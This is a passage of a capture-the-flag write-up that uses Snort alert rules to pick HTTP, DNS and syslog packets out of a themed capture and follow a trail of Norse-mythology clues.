</span></span><span style="display:flex;"><span>0x01A0: 20 20 20 3C 70 20 61 6C 69 67 6E 3D 22 63 65 6E     &lt;p align=&#34;cen
</span></span><span style="display:flex;"><span>0x01B0: 74 65 72 22 3E 6D 6F 72 65 20 64 65 74 61 69 6C  ter&#34;&gt;more detail
</span></span><span style="display:flex;"><span>0x01C0: 73 20 63 61 6E 20 62 65 20 66 6F 75 6E 64 20 61  s can be found a
</span></span><span style="display:flex;"><span>0x01D0: 74 20 3C 61 20 68 72 65 66 3D 2F 70 6C 61 6E 73  t &lt;a href=https://osiriz.dev/plans
</span></span><span style="display:flex;"><span>0x01E0: 2E 74 78 74 3E 64 61 72 6B 20 70 6C 61 6E 73 3C  .txt&gt;dark plans&lt;
</span></span><span style="display:flex;"><span>0x01F0: 2F 61 3E 3C 2F 70 3E 0A 20 20 20 20 3C 70 20 61  /a&gt;&lt;/p&gt;.    &lt;p a
</span></span><span style="display:flex;"><span>0x0200: 6C 69 67 6E 3D 22 63 65 6E 74 65 72 22 3E 49 66  lign=&#34;center&#34;&gt;If
</span></span><span style="display:flex;"><span>0x0210: 20 79 6F 75 20 68 61 76 65 20 70 72 6F 62 6C 65   you have proble
</span></span><span style="display:flex;"><span>0x0220: 6D 20 70 6C 65 61 73 65 20 6C 65 74 20 74 68 65  m please let the
</span></span><span style="display:flex;"><span>0x0230: 6D 20 62 65 20 6B 6E 6F 77 6E 20 74 6F 20 68 65  m be known to he
</span></span><span style="display:flex;"><span>0x0240: 6C 68 69 65 6D 2E 3C 2F 61 3E 3C 2F 70 3E 0A 20  lhiem.&lt;/a&gt;&lt;/p&gt;.
</span></span><span style="display:flex;"><span>0x0250: 20 3C 2F 62 6F 64 79 3E 0A 3C 2F 68 74 6D 6C 3E   &lt;/body&gt;.&lt;/html&gt;
</span></span><span style="display:flex;"><span>0x0260: 0A                                               .
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span></code></pre></div><p>We get part of a http session, where someone visited <code>http://jaetteguide.online/ragnarok_guide.html</code> and given a page with a link to <code>http://jaetteguide.online/plans.txt</code>. We now know that <code>jaetteguide.online = 76.123.42.16</code>.</p>
<p>Lets get some more of this session by finding the http request for <code>/plans.txt</code>, and then use the client port number from that to find the response:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert tcp any any -&gt; 76.123.42.19 <span style="color:#ae81ff">80</span> <span style="color:#f92672">(</span>content:<span style="color:#e6db74">&#34;plans.txt&#34;</span>; sid:1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:14.155248  [**] [1:1:0] [**] [Priority: 0] {TCP} 0.0.0.0:60906 -&gt; 76.123.42.19:80
</span></span><span style="display:flex;"><span>12/24-15:00:14.155248 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x9C
</span></span><span style="display:flex;"><span>0.0.0.0:60906 -&gt; 76.123.42.19:80 TCP TTL:64 TOS:0x0 ID:1434 IpLen:20 DgmLen:142 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x74DAA468  Ack: 0x65281863  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 4053078976 1122290252
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 8E 05 9A 40 00 40 06 BE 42 00 00 00 00 4C 7B  ....@.@..B....L{
</span></span><span style="display:flex;"><span>0x0020: 2A 13 ED EA 00 50 74 DA A4 68 65 28 18 63 80 18  *....Pt..he(.c..
</span></span><span style="display:flex;"><span>0x0030: 02 00 08 BD 00 00 01 01 08 0A F1 95 13 C0 42 E4  ..............B.
</span></span><span style="display:flex;"><span>0x0040: CA 4C 47 45 54 20 2F 70 6C 61 6E 73 2E 74 78 74  .LGET /plans.txt
</span></span><span style="display:flex;"><span>0x0050: 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A   HTTP/1.1..Host:
</span></span><span style="display:flex;"><span>0x0060: 20 6A 61 65 74 74 65 67 75 69 64 65 2E 6F 6E 6C   jaetteguide.onl
</span></span><span style="display:flex;"><span>0x0070: 69 6E 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A  ine..User-Agent:
</span></span><span style="display:flex;"><span>0x0080: 20 63 75 72 6C 2F 38 2E 35 2E 30 0D 0A 41 63 63   curl/8.5.0..Acc
</span></span><span style="display:flex;"><span>0x0090: 65 70 74 3A 20 2A 2F 2A 0D 0A 0D 0A              ept: */*....
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert tcp 76.123.42.19 <span style="color:#ae81ff">80</span> -&gt; 0.0.0.0 <span style="color:#ae81ff">60906</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:14.155114  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -&gt; 0.0.0.0:60906
</span></span><span style="display:flex;"><span>12/24-15:00:14.155114 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x4A
</span></span><span style="display:flex;"><span>76.123.42.19:80 -&gt; 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF
</span></span><span style="display:flex;"><span>***A**S* Seq: 0x65281862  Ack: 0x74DAA468  Win: 0xFFCB  TcpLen: 40
</span></span><span style="display:flex;"><span>TCP Options (5) =&gt; MSS: 65495 SackOK TS: 1122290252 4053078976 NOP WS: 7
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 3C 00 00 40 00 40 06 C4 2E 4C 7B 2A 13 00 00  .&lt;..@.@...L{*...
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 50 ED EA 65 28 18 62 74 DA A4 68 A0 12  ...P..e(.bt..h..
</span></span><span style="display:flex;"><span>0x0030: FF CB 3F E3 00 00 02 04 FF D7 04 02 08 0A 42 E4  ..?...........B.
</span></span><span style="display:flex;"><span>0x0040: CA 4C F1 95 13 C0 01 03 03 07                    .L........
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:14.155256  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -&gt; 0.0.0.0:60906
</span></span><span style="display:flex;"><span>12/24-15:00:14.155256 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x42
</span></span><span style="display:flex;"><span>76.123.42.19:80 -&gt; 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:62995 IpLen:20 DgmLen:52 DF
</span></span><span style="display:flex;"><span>***A**** Seq: 0x65281863  Ack: 0x74DAA4C2  Win: 0x1FF  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1122290252 4053078976
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 34 F6 13 40 00 40 06 CE 22 4C 7B 2A 13 00 00  .4..@.@..&#34;L{*...
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 50 ED EA 65 28 18 63 74 DA A4 C2 80 10  ...P..e(.ct.....
</span></span><span style="display:flex;"><span>0x0030: 01 FF 66 46 00 00 01 01 08 0A 42 E4 CA 4C F1 95  ..fF......B..L..
</span></span><span style="display:flex;"><span>0x0040: 13 C0                                            ..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:14.178153  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -&gt; 0.0.0.0:60906
</span></span><span style="display:flex;"><span>12/24-15:00:14.178153 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x19C
</span></span><span style="display:flex;"><span>76.123.42.19:80 -&gt; 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:62996 IpLen:20 DgmLen:398 DF
</span></span><span style="display:flex;"><span>***AP*** Seq: 0x65281863  Ack: 0x74DAA4C2  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1122290275 4053078976
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 01 8E F6 14 40 00 40 06 CC C7 4C 7B 2A 13 00 00  ....@.@...L{*...
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 50 ED EA 65 28 18 63 74 DA A4 C2 80 18  ...P..e(.ct.....
</span></span><span style="display:flex;"><span>0x0030: 02 00 12 67 00 00 01 01 08 0A 42 E4 CA 63 F1 95  ...g......B..c..
</span></span><span style="display:flex;"><span>0x0040: 13 C0 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F  ..HTTP/1.1 200 O
</span></span><span style="display:flex;"><span>0x0050: 4B 0D 0A 44 61 74 65 3A 20 54 75 65 2C 20 32 34  K..Date: Tue, 24
</span></span><span style="display:flex;"><span>0x0060: 20 44 65 63 20 32 30 32 34 20 31 35 3A 30 30 3A   Dec 2024 15:00:
</span></span><span style="display:flex;"><span>0x0070: 31 34 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74 2D  14 GMT..Content-
</span></span><span style="display:flex;"><span>0x0080: 54 79 70 65 3A 20 74 65 78 74 2F 70 6C 61 69 6E  Type: text/plain
</span></span><span style="display:flex;"><span>0x0090: 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 43 6C  ..Connection: Cl
</span></span><span style="display:flex;"><span>0x00A0: 6F 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E  ose..Content-Len
</span></span><span style="display:flex;"><span>0x00B0: 67 74 68 3A 20 32 30 31 0D 0A 53 65 72 76 65 72  gth: 201..Server
</span></span><span style="display:flex;"><span>0x00C0: 3A 20 44 69 70 20 49 6E 74 6F 20 54 69 6D 65 0D  : Dip Into Time.
</span></span><span style="display:flex;"><span>0x00D0: 0A 0D 0A 54 68 65 20 67 72 65 61 74 20 52 C3 A1  ...The great R..
</span></span><span style="display:flex;"><span>0x00E0: 67 6E 61 72 C3 B5 6B 20 77 69 6C 6C 20 68 61 70  gnar..k will hap
</span></span><span style="display:flex;"><span>0x00F0: 70 65 6E 20 74 68 65 20 32 34 74 68 20 64 61 79  pen the 24th day
</span></span><span style="display:flex;"><span>0x0100: 20 6F 66 20 74 68 65 20 6C 61 73 74 20 6D 6F 6E   of the last mon
</span></span><span style="display:flex;"><span>0x0110: 74 68 20 6F 66 20 74 68 65 20 32 34 74 68 20 79  th of the 24th y
</span></span><span style="display:flex;"><span>0x0120: 65 61 72 20 6F 66 20 74 68 65 20 32 74 68 20 6D  ear of the 2th m
</span></span><span style="display:flex;"><span>0x0130: 69 6C 6C 65 6E 6E 69 61 2E 0A 50 6C 65 61 73 65  illennia..Please
</span></span><span style="display:flex;"><span>0x0140: 20 73 65 6E 64 20 61 6E 79 20 66 75 72 74 68 65   send any furthe
</span></span><span style="display:flex;"><span>0x0150: 72 20 63 6F 6D 6D 75 6E 69 63 61 74 69 6F 6E 20  r communication
</span></span><span style="display:flex;"><span>0x0160: 74 6F 20 63 6F 6D 6D 75 6E 65 2E 68 65 6C 68 69  to commune.helhi
</span></span><span style="display:flex;"><span>0x0170: 65 6D 20 66 6F 72 20 66 75 72 74 68 65 72 20 63  em for further c
</span></span><span style="display:flex;"><span>0x0180: 6F 6F 72 64 69 6E 61 74 69 6F 6E 20 61 6E 64 20  oordination and
</span></span><span style="display:flex;"><span>0x0190: 71 75 65 73 74 69 6F 6E 73 2E 0A 0A              questions...
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:14.181339  [**] [1:0:0] [**] [Priority: 0] {TCP} 76.123.42.19:80 -&gt; 0.0.0.0:60906
</span></span><span style="display:flex;"><span>12/24-15:00:14.181339 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x42
</span></span><span style="display:flex;"><span>76.123.42.19:80 -&gt; 0.0.0.0:60906 TCP TTL:64 TOS:0x0 ID:62997 IpLen:20 DgmLen:52 DF
</span></span><span style="display:flex;"><span>***A***F Seq: 0x652819BD  Ack: 0x74DAA4C3  Win: 0x200  TcpLen: 32
</span></span><span style="display:flex;"><span>TCP Options (3) =&gt; NOP NOP TS: 1122290278 4053078999
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 34 F6 15 40 00 40 06 CE 20 4C 7B 2A 13 00 00  .4..@.@.. L{*...
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 50 ED EA 65 28 19 BD 74 DA A4 C3 80 11  ...P..e(..t.....
</span></span><span style="display:flex;"><span>0x0030: 02 00 64 B8 00 00 01 01 08 0A 42 E4 CA 66 F1 95  ..d.......B..f..
</span></span><span style="display:flex;"><span>0x0040: 13 D7                                            ..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span></code></pre></div><p>Looking at the response we see that we are referred to <code>commune.helhiem</code></p>
<h3 id="where-the-giants-commune">Where the Giants commune</h3>
<p>Lets find the IP address for <code>commune.helhiem</code> by looking for DNS requests:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert udp any any -&gt; any any <span style="color:#f92672">(</span>content:<span style="color:#e6db74">&#34;commune&#34;</span>; sid:1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:19.953618  [**] [1:1:0] [**] [Priority: 0] {UDP} 0.0.0.0:45595 -&gt; 53.255.255.35:53
</span></span><span style="display:flex;"><span>12/24-15:00:19.953618 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x62
</span></span><span style="display:flex;"><span>0.0.0.0:45595 -&gt; 53.255.255.35:53 UDP TTL:64 TOS:0x0 ID:11132 IpLen:20 DgmLen:84
</span></span><span style="display:flex;"><span>Len: 56
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 54 2B 7C 00 00 40 11 19 FB 00 00 00 00 35 FF  .T+|..@.......5.
</span></span><span style="display:flex;"><span>0x0020: FF 23 B2 1B 00 35 00 40 C4 F2 B2 6A 01 20 00 01  .#...5.@...j. ..
</span></span><span style="display:flex;"><span>0x0030: 00 00 00 00 00 01 07 63 6F 6D 6D 75 6E 65 07 68  .......commune.h
</span></span><span style="display:flex;"><span>0x0040: 65 6C 68 69 65 6D 00 00 01 00 01 00 00 29 04 D0  elhiem.......)..
</span></span><span style="display:flex;"><span>0x0050: 00 00 00 00 00 0C 00 0A 00 08 05 C1 34 1D E7 7A  ............4..z
</span></span><span style="display:flex;"><span>0x0060: E9 B4                                            ..
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:19.963686  [**] [1:1:0] [**] [Priority: 0] {UDP} 53.255.255.35:53 -&gt; 0.0.0.0:45595
</span></span><span style="display:flex;"><span>12/24-15:00:19.963686 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0x5B
</span></span><span style="display:flex;"><span>53.255.255.35:53 -&gt; 0.0.0.0:45595 UDP TTL:64 TOS:0x0 ID:51277 IpLen:20 DgmLen:77 DF
</span></span><span style="display:flex;"><span>Len: 49
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 4D C8 4D 40 00 40 11 3D 30 35 FF FF 23 00 00  .M.M@.@.=05..#..
</span></span><span style="display:flex;"><span>0x0020: 00 00 00 35 B2 1B 00 39 2E 77 B2 6A 85 00 00 01  ...5...9.w.j....
</span></span><span style="display:flex;"><span>0x0030: 00 01 00 00 00 00 07 63 6F 6D 6D 75 6E 65 07 68  .......commune.h
</span></span><span style="display:flex;"><span>0x0040: 65 6C 68 69 65 6D 00 00 01 00 01 C0 0C 00 01 00  elhiem..........
</span></span><span style="display:flex;"><span>0x0050: 01 00 00 0E 10 00 04 FF FF FF FF                 ...........
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span></code></pre></div><p>The second message is the response, the last 4 bytes are the IP address, so in this case <code>255.255.255.255</code> or local broadcast. Lets see traffic to and from this then (note: only udp is possible since it is broadcast):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Please input your magical sequence:
</span></span><span style="display:flex;"><span>&gt;&gt;&gt; alert udp any any &lt;&gt; 255.255.255.255 any
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Sequence recieved. Validating magic sequence...
</span></span><span style="display:flex;"><span>Validation succeeded. Beginning sequencing of your submission...
</span></span><span style="display:flex;"><span>SNORT&#39;er finished with the following results:
</span></span><span style="display:flex;"><span>12/24-15:00:09.650083  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:49441 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:09.650083 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xAA
</span></span><span style="display:flex;"><span>0.0.0.0:49441 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:18382 IpLen:20 DgmLen:156 DF
</span></span><span style="display:flex;"><span>Len: 128
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 9C 47 CE 40 00 40 11 F2 83 00 00 00 00 FF FF  ..G.@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF C1 21 02 02 00 88 C1 8A 3C 31 33 3E 31 20  ...!......&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 30 39 2E 36 35 30 30 30 34 2B 30 31 3A 30 30  :09.650004+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 66 65 6E 72   Muspelhiem fenr
</span></span><span style="display:flex;"><span>0x0060: 69 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C  ir - - [timeQual
</span></span><span style="display:flex;"><span>0x0070: 69 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20  ity tzKnown=&#34;1&#34;
</span></span><span style="display:flex;"><span>0x0080: 69 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 53 75  isSynced=&#34;0&#34;] Su
</span></span><span style="display:flex;"><span>0x0090: 72 74 72 20 68 61 73 20 69 6E 74 65 72 65 73 74  rtr has interest
</span></span><span style="display:flex;"><span>0x00A0: 69 6E 67 20 70 6F 69 6E 74 73                    ing points
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:21.010607  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:59858 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:21.010607 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xA5
</span></span><span style="display:flex;"><span>0.0.0.0:59858 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:42167 IpLen:20 DgmLen:151 DF
</span></span><span style="display:flex;"><span>Len: 123
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 97 A4 B7 40 00 40 11 95 9F 00 00 00 00 FF FF  ....@.@.........
</span></span><span style="display:flex;"><span>0x0020: FF FF E9 D2 02 02 00 83 17 20 3C 31 33 3E 31 20  ......... &lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 32 31 2E 30 31 30 35 32 37 2B 30 31 3A 30 30  :21.010527+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
</span></span><span style="display:flex;"><span>0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
</span></span><span style="display:flex;"><span>0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown=&#34;1&#34; i
</span></span><span style="display:flex;"><span>0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 54 68 69  sSynced=&#34;0&#34;] Thi
</span></span><span style="display:flex;"><span>0x0090: 73 20 68 6F 77 20 69 74 73 20 64 6F 6E 65 20 72  s how its done r
</span></span><span style="display:flex;"><span>0x00A0: 69 67 68 74 3F                                   ight?
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:22.016927  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:52152 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:22.016927 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xA8
</span></span><span style="display:flex;"><span>0.0.0.0:52152 -&gt; 255.255.255.255:514 UDP TTL:64 TOS:0x0 ID:48075 IpLen:20 DgmLen:154 DF
</span></span><span style="display:flex;"><span>Len: 126
</span></span><span style="display:flex;"><span>0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
</span></span><span style="display:flex;"><span>0x0010: 00 9A BB CB 40 00 40 11 7E 88 00 00 00 00 FF FF  ....@.@.~.......
</span></span><span style="display:flex;"><span>0x0020: FF FF CB B8 02 02 00 86 23 D1 3C 31 33 3E 31 20  ........#.&lt;13&gt;1
</span></span><span style="display:flex;"><span>0x0030: 32 30 32 34 2D 31 32 2D 32 34 54 31 36 3A 30 30  2024-12-24T16:00
</span></span><span style="display:flex;"><span>0x0040: 3A 32 32 2E 30 31 36 38 31 37 2B 30 31 3A 30 30  :22.016817+01:00
</span></span><span style="display:flex;"><span>0x0050: 20 4D 75 73 70 65 6C 68 69 65 6D 20 53 75 72 74   Muspelhiem Surt
</span></span><span style="display:flex;"><span>0x0060: 72 20 2D 20 2D 20 5B 74 69 6D 65 51 75 61 6C 69  r - - [timeQuali
</span></span><span style="display:flex;"><span>0x0070: 74 79 20 74 7A 4B 6E 6F 77 6E 3D 22 31 22 20 69  ty tzKnown=&#34;1&#34; i
</span></span><span style="display:flex;"><span>0x0080: 73 53 79 6E 63 65 64 3D 22 30 22 5D 20 49 27 6C  sSynced=&#34;0&#34;] I&#39;l
</span></span><span style="display:flex;"><span>0x0090: 6C 20 74 61 6B 65 20 73 69 6C 65 6E 63 65 20 61  l take silence a
</span></span><span style="display:flex;"><span>0x00A0: 73 20 61 20 79 65 73 2E                          s a yes.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>12/24-15:00:24.150709  [**] [1:0:0] [**] [Priority: 0] {UDP} 0.0.0.0:36196 -&gt; 255.255.255.255:514
</span></span><span style="display:flex;"><span>12/24-15:00:24.150709 00:00:00:00:00:00 -&gt; 00:00:00:00:00:00 type:0x800 len:0xB8
